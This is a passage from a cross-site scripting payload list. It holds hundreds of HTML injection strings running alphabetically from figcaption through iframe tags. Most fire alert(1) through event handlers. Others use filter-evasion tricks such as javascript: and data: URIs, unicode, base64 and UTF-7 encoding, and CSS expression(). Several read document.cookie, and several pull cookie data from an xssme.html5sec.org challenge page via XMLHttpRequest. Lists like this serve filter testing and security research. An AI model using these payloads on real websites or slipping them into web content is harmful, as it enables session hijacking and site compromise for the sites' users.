contenteditable>test</figcaption> <figcaption oncut="alert(1)" contenteditable>test</figcaption> <figcaption ondblclick="alert(1)">test</figcaption> <figcaption onfocusout=alert(1) tabindex=1 id=x></figcaption><input autofocus> <figcaption onkeydown="alert(1)" contenteditable>test</figcaption> <figcaption onkeypress="alert(1)" contenteditable>test</figcaption> <figcaption onkeyup="alert(1)" contenteditable>test</figcaption> <figcaption onmousedown="alert(1)">test</figcaption> <figcaption onmouseenter="alert(1)">test</figcaption> <figcaption onmouseleave="alert(1)">test</figcaption> <figcaption onmousemove="alert(1)">test</figcaption> <figcaption onmouseout="alert(1)">test</figcaption> <figcaption onmouseover="alert(1)">test</figcaption> <figcaption onmouseup="alert(1)">test</figcaption> <figcaption onpaste="alert(1)" contenteditable>test</figcaption> <figure draggable="true" ondrag="alert(1)">test</figure> <figure draggable="true" ondragend="alert(1)">test</figure> <figure draggable="true" ondragenter="alert(1)">test</figure> <figure draggable="true" ondragleave="alert(1)">test</figure> <figure draggable="true" ondragstart="alert(1)">test</figure> <figure id=x tabindex=1 onactivate=alert(1)></figure> <figure id=x tabindex=1 onbeforeactivate=alert(1)></figure> <figure id=x tabindex=1 onbeforedeactivate=alert(1)></figure><input autofocus> <figure id=x tabindex=1 ondeactivate=alert(1)></figure><input id=y autofocus> <figure id=x tabindex=1 onfocus=alert(1)></figure> <figure id=x tabindex=1 onfocusin=alert(1)></figure> <figure onbeforecopy="alert(1)" contenteditable>test</figure> <figure onbeforecut="alert(1)" contenteditable>test</figure> <figure onbeforepaste="alert(1)" contenteditable>test</figure> <figure onblur=alert(1) tabindex=1 id=x></figure><input autofocus> <figure onclick="alert(1)">test</figure> <figure oncontextmenu="alert(1)">test</figure> <figure oncopy="alert(1)" contenteditable>test</figure> <figure oncut="alert(1)" contenteditable>test</figure> <figure ondblclick="alert(1)">test</figure> <figure onfocusout=alert(1) tabindex=1 id=x></figure><input autofocus> <figure onkeydown="alert(1)" contenteditable>test</figure> <figure onkeypress="alert(1)" contenteditable>test</figure> <figure onkeyup="alert(1)" contenteditable>test</figure> <figure onmousedown="alert(1)">test</figure> <figure onmouseenter="alert(1)">test</figure> <figure onmouseleave="alert(1)">test</figure> <figure onmousemove="alert(1)">test</figure> <figure onmouseout="alert(1)">test</figure> <figure onmouseover="alert(1)">test</figure> <figure onmouseup="alert(1)">test</figure> <figure onpaste="alert(1)" contenteditable>test</figure> <font draggable="true" ondrag="alert(1)">test</font> <font draggable="true" ondragend="alert(1)">test</font> <font draggable="true" ondragenter="alert(1)">test</font> <font draggable="true" ondragleave="alert(1)">test</font> <font draggable="true" ondragstart="alert(1)">test</font> <font id=x tabindex=1 onactivate=alert(1)></font> <font id=x tabindex=1 onbeforeactivate=alert(1)></font> <font id=x tabindex=1 onbeforedeactivate=alert(1)></font><input autofocus> <font id=x tabindex=1 ondeactivate=alert(1)></font><input id=y autofocus> <font id=x tabindex=1 onfocus=alert(1)></font> <font id=x tabindex=1 onfocusin=alert(1)></font> <font onbeforecopy="alert(1)" contenteditable>test</font> <font onbeforecut="alert(1)" contenteditable>test</font> <font onbeforepaste="alert(1)" contenteditable>test</font> <font onblur=alert(1) tabindex=1 id=x></font><input autofocus> <font onclick="alert(1)">test</font> <font oncontextmenu="alert(1)">test</font> <font oncopy="alert(1)" contenteditable>test</font> <font oncut="alert(1)" contenteditable>test</font> <font ondblclick="alert(1)">test</font> <font onfocusout=alert(1) tabindex=1 id=x></font><input autofocus> <font onkeydown="alert(1)" contenteditable>test</font> <font onkeypress="alert(1)" contenteditable>test</font> <font onkeyup="alert(1)" contenteditable>test</font> <font onmousedown="alert(1)">test</font> <font onmouseenter="alert(1)">test</font> <font onmouseleave="alert(1)">test</font> <font onmousemove="alert(1)">test</font> <font onmouseout="alert(1)">test</font> <font onmouseover="alert(1)">test</font> <font onmouseup="alert(1)">test</font> <font onpaste="alert(1)" contenteditable>test</font> <font style='color:expression(alert(document.cookie))'> <footer draggable="true" ondrag="alert(1)">test</footer> <footer draggable="true" ondragend="alert(1)">test</footer> <footer draggable="true" ondragenter="alert(1)">test</footer> <footer draggable="true" ondragleave="alert(1)">test</footer> <footer draggable="true" ondragstart="alert(1)">test</footer> <footer id=x tabindex=1 onactivate=alert(1)></footer> <footer id=x tabindex=1 onbeforeactivate=alert(1)></footer> <footer id=x tabindex=1 onbeforedeactivate=alert(1)></footer><input autofocus> <footer id=x tabindex=1 ondeactivate=alert(1)></footer><input id=y autofocus> <footer id=x tabindex=1 onfocus=alert(1)></footer> <footer id=x tabindex=1 onfocusin=alert(1)></footer> <footer onbeforecopy="alert(1)" contenteditable>test</footer> <footer onbeforecut="alert(1)" contenteditable>test</footer> <footer onbeforepaste="alert(1)" contenteditable>test</footer> <footer onblur=alert(1) tabindex=1 id=x></footer><input autofocus> <footer onclick="alert(1)">test</footer> <footer oncontextmenu="alert(1)">test</footer> <footer oncopy="alert(1)" contenteditable>test</footer> <footer oncut="alert(1)" contenteditable>test</footer> <footer ondblclick="alert(1)">test</footer> <footer onfocusout=alert(1) tabindex=1 id=x></footer><input autofocus> <footer onkeydown="alert(1)" contenteditable>test</footer> <footer onkeypress="alert(1)" contenteditable>test</footer> <footer onkeyup="alert(1)" contenteditable>test</footer> <footer onmousedown="alert(1)">test</footer> <footer onmouseenter="alert(1)">test</footer> <footer onmouseleave="alert(1)">test</footer> <footer onmousemove="alert(1)">test</footer> <footer onmouseout="alert(1)">test</footer> <footer onmouseover="alert(1)">test</footer> <footer onmouseup="alert(1)">test</footer> <footer onpaste="alert(1)" contenteditable>test</footer> <foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/> <foreignObject xlink:href="javascript:alert(88)"/> <form> <form><a href="javascript:\u0061lert(1)">X <form><a href="javascript:\u0061lert(1)">X</script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'> <form><a href="javascript:\u0061lert(1)">X <form><button formaction="javascript:alert(123)">crosssitespt <form><button formaction="javascript:alert(XSS)">lol <form><button formaction="javascript:javascript:alert(1)">X <form><button formaction=javascript:alert(1)>CLICKME <form><button formaction=javascript:alert(1)>click <form><iframe src="javascript:alert(1)" ;> <form><input formaction=javascript:alert(1) type=image src=SOURCE> <form><input formaction=javascript:alert(1) type=image value=click> <form><input formaction=javascript:alert(1) type=submit value=click> <form><input oninvalid=alert(1) required><input type=submit> <form><input type=search onsearch=alert(1) value="Hit return" autofocus> <form><isindex formaction="javascript:confirm(1)" <form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'> <form><textarea oninvalid=alert(1) required><input type=submit> <form action=javascript:alert(1)><input type=submit> <form draggable="true" ondrag="alert(1)">test</form> <form draggable="true" ondragend="alert(1)">test</form> <form draggable="true" ondragenter="alert(1)">test</form> <form draggable="true" ondragleave="alert(1)">test</form> <form draggable="true" ondragstart="alert(1)">test</form> <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X <form id=x tabindex=1 onactivate=alert(1)></form> <form id=x tabindex=1 onbeforeactivate=alert(1)></form> <form id=x tabindex=1 onbeforedeactivate=alert(1)></form><input autofocus> <form id=x tabindex=1 ondeactivate=alert(1)></form><input id=y autofocus> <form id=x tabindex=1 onfocus=alert(1)></form> <form id=x tabindex=1 onfocusin=alert(1)></form> <form onbeforecopy="alert(1)" contenteditable>test</form> <form onbeforecut="alert(1)" contenteditable>test</form> <form onbeforepaste="alert(1)" contenteditable>test</form> <form onblur=alert(1) tabindex=1 id=x></form><input autofocus> <form onclick="alert(1)">test</form> <form oncontextmenu="alert(1)">test</form> <form oncopy="alert(1)" contenteditable>test</form> <form oncut="alert(1)" contenteditable>test</form> <form ondblclick="alert(1)">test</form> <form onfocusout=alert(1) tabindex=1 id=x></form><input autofocus> <form onkeydown="alert(1)" contenteditable>test</form> <form onkeypress="alert(1)" contenteditable>test</form> <form onkeyup="alert(1)" contenteditable>test</form> <form onmousedown="alert(1)">test</form> <form onmouseenter="alert(1)">test</form> <form onmouseleave="alert(1)">test</form> <form onmousemove="alert(1)">test</form> <form onmouseout="alert(1)">test</form> <form onmouseover="alert(1)">test</form> <form onmouseup="alert(1)">test</form> <form onpaste="alert(1)" contenteditable>test</form> <form onreset=alert(1)><input type=reset> <form onsubmit=alert(1)><input type=submit> <frame draggable="true" ondrag="alert(1)">test</frame> <frame draggable="true" ondragend="alert(1)">test</frame> <frame draggable="true" ondragenter="alert(1)">test</frame> <frame draggable="true" ondragleave="alert(1)">test</frame> <frame draggable="true" ondragstart="alert(1)">test</frame> <frame id=x tabindex=1 onactivate=alert(1)></frame> <frame id=x tabindex=1 onbeforeactivate=alert(1)></frame> <frame id=x tabindex=1 onbeforedeactivate=alert(1)></frame><input autofocus> <frame id=x tabindex=1 ondeactivate=alert(1)></frame><input id=y autofocus> <frame onbeforecopy="alert(1)" contenteditable>test</frame> <frame onbeforecut="alert(1)" contenteditable>test</frame> <frame onbeforepaste="alert(1)" contenteditable>test</frame> <frame onblur=alert(1) tabindex=1 id=x></frame><input autofocus> <frame onclick="alert(1)">test</frame> <frame oncontextmenu="alert(1)">test</frame> <frame oncopy="alert(1)" contenteditable>test</frame> <frame oncut="alert(1)" contenteditable>test</frame> <frame ondblclick="alert(1)">test</frame> <frame onfocusout=alert(1) tabindex=1 id=x></frame><input autofocus> <frame onkeydown="alert(1)" contenteditable>test</frame> <frame onkeypress="alert(1)" contenteditable>test</frame> <frame onkeyup="alert(1)" contenteditable>test</frame> <frame onmousedown="alert(1)">test</frame> <frame onmouseenter="alert(1)">test</frame> <frame onmouseleave="alert(1)">test</frame> <frame onmousemove="alert(1)">test</frame> <frame onmouseout="alert(1)">test</frame> <frame onmouseover="alert(1)">test</frame> <frame onmouseup="alert(1)">test</frame> <frame onpaste="alert(1)" contenteditable>test</frame> <frameset><frame id=x onfocus=alert(1)> <frameset><frame id=x onfocusin=alert(1)> <frameset><frame onload=alert(1)> <frameset draggable="true" ondrag="alert(1)">test</frameset> <frameset draggable="true" ondragend="alert(1)">test</frameset> <frameset draggable="true" ondragenter="alert(1)">test</frameset> <frameset draggable="true" ondragleave="alert(1)">test</frameset> <frameset draggable="true" ondragstart="alert(1)">test</frameset> <frameset id=x tabindex=1 onactivate=alert(1)></frameset> <frameset id=x tabindex=1 onbeforeactivate=alert(1)></frameset> <frameset id=x tabindex=1 onbeforedeactivate=alert(1)></frameset><input autofocus> <frameset id=x tabindex=1 ondeactivate=alert(1)></frameset><input id=y autofocus> <frameset id=x tabindex=1 onfocus=alert(1)></frameset> <frameset id=x tabindex=1 onfocusin=alert(1)></frameset> <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus> <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll> <frameset onbeforecopy="alert(1)" contenteditable>test</frameset> <frameset onbeforecut="alert(1)" contenteditable>test</frameset> <frameset onbeforepaste="alert(1)" contenteditable>test</frameset> <frameset onblur=alert(1) tabindex=1 id=x></frameset><input autofocus> <frameset onclick="alert(1)">test</frameset> <frameset oncontextmenu="alert(1)">test</frameset> <frameset oncopy="alert(1)" contenteditable>test</frameset> <frameset oncut="alert(1)" contenteditable>test</frameset> <frameset ondblclick="alert(1)">test</frameset> <frameset onfocusout=alert(1) tabindex=1 id=x></frameset><input autofocus> <frameset onkeydown="alert(1)" contenteditable>test</frameset> <frameset onkeypress="alert(1)" contenteditable>test</frameset> <frameset onkeyup="alert(1)" contenteditable>test</frameset> <frameset onload=alert(123)> <frameset onload=javascript:alert(1)> <frameset onload=javascript:javascript:alert(1)></frameset> <frameset onmousedown="alert(1)">test</frameset> <frameset onmouseenter="alert(1)">test</frameset> <frameset onmouseleave="alert(1)">test</frameset> <frameset onmousemove="alert(1)">test</frameset> <frameset onmouseout="alert(1)">test</frameset> <frameset onmouseover="alert(1)">test</frameset> <frameset onmouseup="alert(1)">test</frameset> <frameset onpageshow=alert(1)> <frameset onpaste="alert(1)" contenteditable>test</frameset> <h1 draggable="true" ondrag="alert(1)">test</h1> <h1 draggable="true" ondragend="alert(1)">test</h1> <h1 draggable="true" ondragenter="alert(1)">test</h1> <h1 draggable="true" ondragleave="alert(1)">test</h1> <h1 draggable="true" ondragstart="alert(1)">test</h1> <h1 id=x tabindex=1 onactivate=alert(1)></h1> <h1 id=x tabindex=1 onbeforeactivate=alert(1)></h1> <h1 id=x tabindex=1 onbeforedeactivate=alert(1)></h1><input autofocus> <h1 id=x tabindex=1 ondeactivate=alert(1)></h1><input id=y autofocus> <h1 id=x tabindex=1 onfocus=alert(1)></h1> <h1 id=x tabindex=1 onfocusin=alert(1)></h1> <h1 onbeforecopy="alert(1)" contenteditable>test</h1> <h1 onbeforecut="alert(1)" contenteditable>test</h1> <h1 onbeforepaste="alert(1)" contenteditable>test</h1> <h1 onblur=alert(1) tabindex=1 id=x></h1><input autofocus> <h1 onclick="alert(1)">test</h1> <h1 oncontextmenu="alert(1)">test</h1> <h1 oncopy="alert(1)" contenteditable>test</h1> <h1 oncut="alert(1)" contenteditable>test</h1> <h1 ondblclick="alert(1)">test</h1> <h1 onfocusout=alert(1) tabindex=1 id=x></h1><input autofocus> <h1 onkeydown="alert(1)" contenteditable>test</h1> <h1 onkeypress="alert(1)" contenteditable>test</h1> <h1 onkeyup="alert(1)" contenteditable>test</h1> <h1 onmousedown="alert(1)">test</h1> <h1 onmouseenter="alert(1)">test</h1> <h1 onmouseleave="alert(1)">test</h1> <h1 onmousemove="alert(1)">test</h1> <h1 onmouseout="alert(1)">test</h1> <h1 onmouseover="alert(1)">test</h1> <h1 onmouseup="alert(1)">test</h1> <h1 onpaste="alert(1)" contenteditable>test</h1> <h1><font color=blue>hellox worldss</h1> <h1>Drop me</h1> <handler id="y">alert(127)</handler> <handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler> <head> <head></head><body>padding<bleh onclick="top[/al/.source+/ert/.source] ``">clickpadding</bleh></body> <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4- <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> <head draggable="true" ondrag="alert(1)">test</head> <head draggable="true" ondragend="alert(1)">test</head> <head draggable="true" ondragenter="alert(1)">test</head> <head draggable="true" ondragleave="alert(1)">test</head> <head draggable="true" ondragstart="alert(1)">test</head> <header draggable="true" ondrag="alert(1)">test</header> <header draggable="true" ondragend="alert(1)">test</header> <header draggable="true" ondragenter="alert(1)">test</header> <header draggable="true" ondragleave="alert(1)">test</header> <header draggable="true" ondragstart="alert(1)">test</header> <header id=x tabindex=1 onactivate=alert(1)></header> <header id=x tabindex=1 onbeforeactivate=alert(1)></header> <header id=x tabindex=1 onbeforedeactivate=alert(1)></header><input autofocus> <header id=x tabindex=1 ondeactivate=alert(1)></header><input id=y autofocus> <header id=x tabindex=1 onfocus=alert(1)></header> <header id=x tabindex=1 onfocusin=alert(1)></header> <header onbeforecopy="alert(1)" contenteditable>test</header> <header onbeforecut="alert(1)" contenteditable>test</header> <header onbeforepaste="alert(1)" contenteditable>test</header> <header onblur=alert(1) tabindex=1 id=x></header><input autofocus> <header onclick="alert(1)">test</header> <header oncontextmenu="alert(1)">test</header> <header oncopy="alert(1)" contenteditable>test</header> <header oncut="alert(1)" contenteditable>test</header> <header ondblclick="alert(1)">test</header> <header onfocusout=alert(1) tabindex=1 id=x></header><input autofocus> <header onkeydown="alert(1)" contenteditable>test</header> <header onkeypress="alert(1)" contenteditable>test</header> <header onkeyup="alert(1)" contenteditable>test</header> <header onmousedown="alert(1)">test</header> <header onmouseenter="alert(1)">test</header> <header onmouseleave="alert(1)">test</header> <header onmousemove="alert(1)">test</header> <header onmouseout="alert(1)">test</header> <header onmouseover="alert(1)">test</header> <header onmouseup="alert(1)">test</header> <header onpaste="alert(1)" contenteditable>test</header> <head id=x tabindex=1 onactivate=alert(1)></head> <head id=x tabindex=1 onbeforeactivate=alert(1)></head> <head id=x tabindex=1 onbeforedeactivate=alert(1)></head><input autofocus> <head id=x tabindex=1 ondeactivate=alert(1)></head><input id=y autofocus> <head id=x tabindex=1 onfocus=alert(1)></head> <head id=x tabindex=1 onfocusin=alert(1)></head> <head onbeforecopy="alert(1)" contenteditable>test</head> <head onbeforecut="alert(1)" contenteditable>test</head> <head onbeforepaste="alert(1)" contenteditable>test</head> <head onblur=alert(1) tabindex=1 id=x></head><input autofocus> <head onclick="alert(1)">test</head> <head oncontextmenu="alert(1)">test</head> <head oncopy="alert(1)" contenteditable>test</head> <head oncut="alert(1)" contenteditable>test</head> <head ondblclick="alert(1)">test</head> <head onfocusout=alert(1) tabindex=1 id=x></head><input autofocus> <head onkeydown="alert(1)" contenteditable>test</head> <head onkeypress="alert(1)" contenteditable>test</head> <head onkeyup="alert(1)" contenteditable>test</head> <head onmousedown="alert(1)">test</head> <head onmouseenter="alert(1)">test</head> <head onmouseleave="alert(1)">test</head> <head onmousemove="alert(1)">test</head> <head onmouseout="alert(1)">test</head> <head onmouseover="alert(1)">test</head> <head onmouseup="alert(1)">test</head> <head onpaste="alert(1)" contenteditable>test</head> <hgroup draggable="true" ondrag="alert(1)">test</hgroup> <hgroup draggable="true" ondragend="alert(1)">test</hgroup> <hgroup draggable="true" ondragenter="alert(1)">test</hgroup> <hgroup draggable="true" ondragleave="alert(1)">test</hgroup> <hgroup draggable="true" ondragstart="alert(1)">test</hgroup> <hgroup id=x tabindex=1 onactivate=alert(1)></hgroup> <hgroup id=x tabindex=1 onbeforeactivate=alert(1)></hgroup> <hgroup id=x tabindex=1 onbeforedeactivate=alert(1)></hgroup><input autofocus> <hgroup id=x tabindex=1 ondeactivate=alert(1)></hgroup><input id=y autofocus> <hgroup id=x tabindex=1 onfocus=alert(1)></hgroup> <hgroup id=x tabindex=1 onfocusin=alert(1)></hgroup> <hgroup onbeforecopy="alert(1)" contenteditable>test</hgroup> <hgroup onbeforecut="alert(1)" contenteditable>test</hgroup> <hgroup onbeforepaste="alert(1)" contenteditable>test</hgroup> <hgroup onblur=alert(1) tabindex=1 id=x></hgroup><input autofocus> <hgroup onclick="alert(1)">test</hgroup> <hgroup oncontextmenu="alert(1)">test</hgroup> <hgroup oncopy="alert(1)" contenteditable>test</hgroup> <hgroup oncut="alert(1)" contenteditable>test</hgroup> <hgroup ondblclick="alert(1)">test</hgroup> <hgroup onfocusout=alert(1) tabindex=1 id=x></hgroup><input autofocus> <hgroup onkeydown="alert(1)" contenteditable>test</hgroup> <hgroup onkeypress="alert(1)" contenteditable>test</hgroup> <hgroup onkeyup="alert(1)" contenteditable>test</hgroup> <hgroup onmousedown="alert(1)">test</hgroup> <hgroup onmouseenter="alert(1)">test</hgroup> <hgroup onmouseleave="alert(1)">test</hgroup> <hgroup onmousemove="alert(1)">test</hgroup> <hgroup onmouseout="alert(1)">test</hgroup> <hgroup onmouseover="alert(1)">test</hgroup> <hgroup onmouseup="alert(1)">test</hgroup> <hgroup onpaste="alert(1)" contenteditable>test</hgroup> <hr draggable="true" ondrag="alert(1)">test</hr> <hr draggable="true" ondragend="alert(1)">test</hr> <hr draggable="true" ondragenter="alert(1)">test</hr> <hr draggable="true" ondragleave="alert(1)">test</hr> <hr draggable="true" ondragstart="alert(1)">test</hr> <hr id=x tabindex=1 onactivate=alert(1)></hr> <hr id=x tabindex=1 onbeforeactivate=alert(1)></hr> <hr id=x tabindex=1 onbeforedeactivate=alert(1)></hr><input autofocus> <hr id=x tabindex=1 ondeactivate=alert(1)></hr><input id=y autofocus> <hr id=x tabindex=1 onfocus=alert(1)></hr> <hr id=x tabindex=1 onfocusin=alert(1)></hr> <hr onbeforecopy="alert(1)" contenteditable>test</hr> <hr onbeforecut="alert(1)" contenteditable>test</hr> <hr onbeforepaste="alert(1)" contenteditable>test</hr> <hr onblur=alert(1) tabindex=1 id=x></hr><input autofocus> <hr onclick="alert(1)">test</hr> <hr oncontextmenu="alert(1)">test</hr> <hr oncopy="alert(1)" contenteditable>test</hr> <hr oncut="alert(1)" contenteditable>test</hr> <hr ondblclick="alert(1)">test</hr> <hr onfocusout=alert(1) tabindex=1 id=x></hr><input autofocus> <hr onkeydown="alert(1)" contenteditable>test</hr> <hr onkeypress="alert(1)" contenteditable>test</hr> <hr onkeyup="alert(1)" contenteditable>test</hr> <hr onmousedown="alert(1)">test</hr> <hr onmouseenter="alert(1)">test</hr> <hr onmouseleave="alert(1)">test</hr> <hr onmousemove="alert(1)">test</hr> <hr onmouseout="alert(1)">test</hr> <hr onmouseover="alert(1)">test</hr> <hr onmouseup="alert(1)">test</hr> <hr onpaste="alert(1)" contenteditable>test</hr> <html:html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script> <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x> <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html> <html><noalert><noscript>(123)</noscript><script>(123)</script> <html draggable="true" ondrag="alert(1)">test</html> <html draggable="true" ondragend="alert(1)">test</html> <html draggable="true" ondragenter="alert(1)">test</html> <html draggable="true" ondragleave="alert(1)">test</html> <html draggable="true" ondragstart="alert(1)">test</html> <html id=x tabindex=1 onactivate=alert(1)></html> <html id=x tabindex=1 onbeforeactivate=alert(1)></html> <html id=x tabindex=1 onbeforedeactivate=alert(1)></html><input autofocus> <html id=x tabindex=1 ondeactivate=alert(1)></html><input id=y autofocus> <html id=x tabindex=1 onfocus=alert(1)></html> <html id=x tabindex=1 onfocusin=alert(1)></html> <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown> <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter> <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave> <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver> <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel> <html onbeforecopy="alert(1)" contenteditable>test</html> <html onbeforecut="alert(1)" contenteditable>test</html> <html onbeforepaste="alert(1)" contenteditable>test</html> <html onblur=alert(1) tabindex=1 id=x></html><input autofocus> <html onclick="alert(1)">test</html> <html oncontextmenu="alert(1)">test</html> <html oncopy="alert(1)" contenteditable>test</html> <html oncut="alert(1)" contenteditable>test</html> <html ondblclick="alert(1)">test</html> <html onfocusout=alert(1) tabindex=1 id=x></html><input autofocus> <html onkeydown="alert(1)" contenteditable>test</html> <html onkeypress="alert(1)" contenteditable>test</html> <html onkeyup="alert(1)" contenteditable>test</html> <html onmousedown="alert(1)">test</html> <html onmouseenter="alert(1)">test</html> <html onmouseleave="alert(1)">test</html> <html onmousemove="alert(1)">test</html> <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> <html onmouseout="alert(1)">test</html> <html onmouseover="alert(1)">test</html> <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> <html onmouseup="alert(1)">test</html> <html onpaste="alert(1)" contenteditable>test</html> <html ontouchcancel=alert(1)> <html ontouchend=alert(1)> <html ontouchmove=alert(1)> <html ontouchstart=alert(1)> <html xmlns="http://www.w3.org/1999/xhtml"> <http://onxxx%3D1/ <iFrAMe/src \/\/onload = prompt(1) <i draggable="true" ondrag="alert(1)">test</i> <i draggable="true" ondragend="alert(1)">test</i> <i draggable="true" ondragenter="alert(1)">test</i> <i draggable="true" ondragleave="alert(1)">test</i> <i draggable="true" ondragstart="alert(1)">test</i> <if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> <iframe %00 src=" javascript:prompt(1) "%00> <iframe%20src="javascript:alert(1) <iframe/%00/ src=javaSCRIPT:alert(1) <iframe// src=javaSCRIPT:alert(1) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <iframe/onreadystatechange=alert(1) <iframe/src="data:text/html,<svg onload=alert(1)>"> <iframe/src="data:text/html,<svg onload=alert(1)>"> <iframe/src="data:text/html; base64 ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <iframe/src \/\/onload = prompt(1) <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> <iframe draggable="true" ondrag="alert(1)">test</iframe> <iframe draggable="true" ondragend="alert(1)">test</iframe> <iframe draggable="true" ondragenter="alert(1)">test</iframe> <iframe draggable="true" ondragleave="alert(1)">test</iframe> <iframe draggable="true" ondragstart="alert(1)">test</iframe> <iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script> <iframe id=x onfocus=alert(1)> <iframe id=x onfocusin=alert(1)> <iframe id=x tabindex=1 onactivate=alert(1)></iframe> <iframe id=x tabindex=1 onbeforeactivate=alert(1)></iframe> <iframe id=x tabindex=1 onbeforedeactivate=alert(1)></iframe><input autofocus> <iframe id=x tabindex=1 ondeactivate=alert(1)></iframe><input id=y autofocus> <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> <iframe onbeforecopy="alert(1)" contenteditable>test</iframe> <iframe onbeforecut="alert(1)" contenteditable>test</iframe> <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> <iframe onbeforepaste="alert(1)" contenteditable>test</iframe> <iframe onblur=alert(1) id=x><input autofocus> <iframe onclick="alert(1)">test</iframe> <iframe oncontextmenu="alert(1)">test</iframe> <iframe oncopy="alert(1)" contenteditable>test</iframe> <iframe oncut="alert(1)" contenteditable>test</iframe> <iframe ondblclick="alert(1)">test</iframe> <iframe onfocusout=alert(1) id=x><input autofocus> <iframe onkeydown="alert(1)" contenteditable>test</iframe> <iframe onkeypress="alert(1)" contenteditable>test</iframe> <iframe onkeyup="alert(1)" contenteditable>test</iframe> <iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <iframe onload=alert(1)></iframe> <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> <iframe onmousedown="alert(1)">test</iframe> <iframe onmouseenter="alert(1)">test</iframe> <iframe onmouseleave="alert(1)">test</iframe> <iframe onmousemove="alert(1)">test</iframe> <iframe onmouseout="alert(1)">test</iframe> <iframe onmouseover="alert(1)">test</iframe> <iframe onmouseup="alert(1)">test</iframe> <iframe onpaste="alert(1)" contenteditable>test</iframe> <iframe onreadystatechange=alert(1)></iframe> <iframe src=" javascript:prompt(1) "> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> <iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/> <iframe src="http://example.org/"></iframe> <iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]>]</div> <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee> <iframe src="javascript:document.vulnerable=true; < <iframe src="vbscript:document.vulnerable=true;"> <iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe> <iframe src=%(scriptlet)s < <iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe> <iframe 